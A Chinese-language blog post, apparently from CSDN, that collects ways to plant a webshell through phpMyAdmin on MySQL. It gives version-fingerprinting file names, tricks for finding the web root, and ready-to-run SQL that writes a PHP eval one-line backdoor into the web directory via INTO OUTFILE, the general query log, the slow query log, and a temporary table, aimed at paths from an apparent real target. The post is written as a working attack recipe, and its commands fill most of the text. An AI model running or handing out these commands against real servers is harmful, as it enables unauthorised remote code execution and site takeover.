phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总

目录

前言

一、查看phpMyAdmin版本方法

二、phpmyadmin常见的getshell方法

1.前提

2.网站物理路径获取方法

3.通过into outfile getshell

4.通过日志文件写 shell

5.通过慢查询写shell

6.创建数据库和表写入webshell

三、phpmyadmin版本漏洞汇总 

总结



前言

phpMyAdmin是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的资料库管理工具 。

一、查看phpMyAdmin版本方法

phpMyAdmin是有很多公开漏洞的,如果能知道phpMyAdmin的版本信息,直接在网上搜索相关版本的漏洞即可利用

获取phpmyadmin版本信息方法:

Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change

只要在phpmyadmin目录后面添加以上的文件,逐个尝试就可以看到phpmyadmin的相关版本信息了(前提是管理员没有把记录版本信息的文件删除掉)

如一次真实渗透测试中的信息收集: 

二、phpmyadmin常见的getshell方法

1.前提

通过写shell进行提权,需要满足以下条件:

1.知道网站的物理路径

2.数据库当前操作用户拥有写权限(查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效)

secure_file_priv参数

NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录

2.网站物理路径获取方法

1.通过web报错信息:可以通过各种fuzz不存在的目录尝试让目标报错,有可能爆出绝对路径

2.通过phpinfo()获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT

 3.通过目录文件信息泄露获取:扫到目录时候每个都尝试访问一下,说不定会有意想不到的收获

4.如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径

show variables like '%datadir%';
或者
select @@basedir;

获取到数据库路径后再结合中间件目录结构猜测web目录

经过信息收集已知网站路径位:C:\xampp\htdocs\tieuhoc\codeweb\

3.通过into outfile getshell

1.查看权限

show global variables like '%secure_file_priv%';

 2.写入一句话木马

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\a.php'
或者
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:/xampp/htdocs/tieuhoc/a.php'

提示:路径可以用‘\\’或者‘/’都可以,后面例子统一用‘\\’

4.通过日志文件写 shell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话

查看当前日志文件:

SHOW VARIABLES LIKE 'general%';

开启日志记录

set global general_log = "ON";

更改日志文件路径

set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'

往日志文件里写入一句话木马

select '<?php @eval($_POST[cmd]);?>';

5.通过慢查询写shell

show variables like '%slow%'

set global slow_query_log=on;

set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'

select '<?php @eval($_POST[cmd]);?>' or sleep(10);

6.创建数据库和表写入webshell

前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值

CREATE TABLE test( id text(200) not null);    

INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    

SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';    

DROP TABLE IF EXISTS test;

三、phpmyadmin版本漏洞汇总 

参考链接:最全phpmyadmin漏洞汇总_kracer的博客-CSDN博客_phpmyadmin漏洞

        


总结

拥有读写权限及知道网站物理路径是成功写入webshell的 前提

  • 9
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

码啊码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值